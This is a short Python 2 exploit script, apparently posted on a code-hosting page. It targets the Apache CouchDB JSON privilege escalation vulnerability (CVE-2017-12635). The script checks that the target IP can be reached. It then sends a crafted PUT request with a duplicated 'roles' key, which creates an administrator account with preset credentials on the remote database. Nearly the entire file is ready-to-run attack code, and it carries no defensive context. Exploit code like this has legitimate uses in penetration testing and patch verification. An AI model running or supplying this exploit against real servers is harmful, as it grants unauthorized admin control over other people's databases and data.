64 lines
No EOL
2.1 KiB
Python
Executable file
64 lines
No EOL
2.1 KiB
Python
Executable file
#!/usr/bin/env python
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'''
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@author: r4wd3r
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@license: MIT License
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@contact: r4wd3r@gmail.com
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'''
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import argparse
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import re
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import sys
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import requests
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parser = argparse.ArgumentParser(
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description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
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' (CVE-2017-12635)')
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parser.add_argument('host', help='Host to attack.', type=str)
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parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
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parser.add_argument('-u', '--user', help='Username to create as admin.',
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type=str, default='couchara')
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parser.add_argument('-P', '--password', help='Password of the created user.',
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type=str, default='couchapass')
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args = parser.parse_args()
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host = args.host
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port = args.port
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user = args.user
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password = args.password
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pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
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if not pat_ip.match(host):
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print "[x] Wrong host. Must be a valid IP address."
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sys.exit(1)
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print "[+] User to create: " + user
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print "[+] Password: " + password
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print "[+] Attacking host " + host + " on port " + port
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url = 'http://' + host + ':' + port
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try:
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rtest = requests.get(url, timeout=10)
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except requests.exceptions.Timeout:
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print "[x] Server is taking too long to answer. Exiting."
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sys.exit(1)
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except requests.ConnectionError:
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print "[x] Unable to connect to the remote host."
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sys.exit(1)
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# Payload for creating user
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cu_url_payload = url + "/_users/org.couchdb.user:" + user
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cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'
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try:
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rcu = requests.put(cu_url_payload, data=cu_data_payload)
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except requests.exceptions.HTTPError:
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print "[x] ERROR: Unable to create the user on remote host."
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sys.exit(1)
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if rcu.status_code == 201:
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print "[+] User " + user + " with password " + password + " successfully created."
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sys.exit(0)
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else:
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print "[x] ERROR " + str(rcu.status_code) + ": Unable to create the user on remote host." |